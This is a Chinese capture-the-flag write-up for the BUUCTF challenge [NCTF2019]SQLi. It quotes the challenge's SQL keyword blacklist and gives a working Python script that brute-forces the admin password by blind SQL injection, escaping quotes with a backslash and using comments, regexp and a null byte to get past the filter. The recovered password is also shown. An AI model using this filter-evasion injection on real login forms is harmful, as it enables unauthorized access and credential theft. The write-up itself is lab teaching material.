当前位置:网站首页>[NCTF2019]SQLi
[NCTF2019]SQLi
2022-07-26 22:39:00 【茶经新读.】
[NCTF2019]SQLi

使用dirsearch扫面一下,发现了robots.txt


然后直接url进入查看robots.txt内容

发现有hint.txt仍然还是进入查看hint.txt内容
$black_list = "/limit|by|substr|mid|,|admin|benchmark|like|or|char|union|substring|select|greatest|%00|\'|=| |in|<|>|-|\.|\(\)|#|and|if|database|users|where|table|concat|insert|join|having|sleep/i";
If $_POST['passwd'] === admin's password,
Then you will get the flag;这里黑名单里的内容很多,过滤了很多东西,并且If $_POST['passwd'] === admin's password要求要满足密码为admin的密码才会得到flag
使用python脚本爆破密码:
import requests
from urllib import parse
import string
import time
url='http://76cd948a-a7f3-4ab1-a28d-d7bc2bc26050.node4.buuoj.cn:81/index.php'
string= string.ascii_lowercase + string.digits + '_'
flag=''
for i in range(100):
for j in string:
data={
"passwd":"||/**/passwd/**/regexp/**/\"^{}\";{}".format((flag+j),parse.unquote('%00')),
#'passwd':'||/*1*/passwd/*1*/regexp/*1*/"^{}";{}'.format(i,'%00'),
'username':"\\"
}
#print(data)
res = requests.post(url=url,data=data).text
#print(res)
if 'welcome' in res:
flag+=j
print(flag)
#print(res)
break
time.sleep(0.1)
time.sleep(0.1)运行得到密码

you_will_never_know7788990
用户名任意(只要不是admin)密码如上

边栏推荐
- js中this指向详解
- [PCB open source sharing] stc8a8k64d4 development board
- [3. Basic search and first knowledge of graph theory]
- Openharmony quick start
- The company gave how to use the IP address (detailed version)
- 【2. Tmux 操作】
- Viterbi Viterbi decoding bit error rate simulation, modulation is QPSK, channel is Gaussian white noise
- Use csrftester to automatically detect CSRF vulnerabilities
- [HITCON 2017]SSRFme
- Eight queens n Queens
猜你喜欢
![[qt] container class, iterator, foreach keyword](/img/88/d9d5be096009b4e5baa0966e6f292c.jpg)
[qt] container class, iterator, foreach keyword

DOM day_ 03 (7.11) event bubbling mechanism, event delegation, to-do items, block default events, mouse coordinates, page scrolling events, create DOM elements, DOM encapsulation operations

10_ Evaluate classification

CDs simulation of minimum dominating set based on MATLAB

postman的使用
![[RootersCTF2019]I_<3_Flask](/img/69/1c77e45e939cf86bb75be8a6c42574.png)
[RootersCTF2019]I_<3_Flask
![[Qt]属性](/img/ca/5f9d8f33e38b0ac5cbb0768a7b3ffd.png)
[Qt]属性
![[红明谷CTF 2021]write_shell](/img/f5/c3a771ab7b40311e37a056defcbd78.png)
[红明谷CTF 2021]write_shell

JSCORE day_03(7.4)

QML type system
随机推荐
Friend friend function and singleton mode
c语言 比大小的多种描述,不要只拘泥于一种写法
TypeScript(tsconfig.json)
寻找真凶
运算符重载
【 Educational Codeforces Round 132 (Rated for Div. 2) A·B·C】
重学JSON.stringify
C语言 关机小程序
[2. TMUX operation]
Parallel MPI program delivery send message
Comparative simulation of LEACH protocol performance, including the number of dead nodes, data transmission, network energy consumption, the number of cluster heads and load balance
Operator overloading
【3. 基础搜索与图论初识】
[Qt]解决中文乱码问题
Reduced dimension mean dot product matrix multiplicative norm probability normal distribution square loss
Torch. correlation function
MySQL common functions (summary)
Dynamic binding, static binding, and polymorphism
Two or three things about redis
2020-12-20 九九乘法表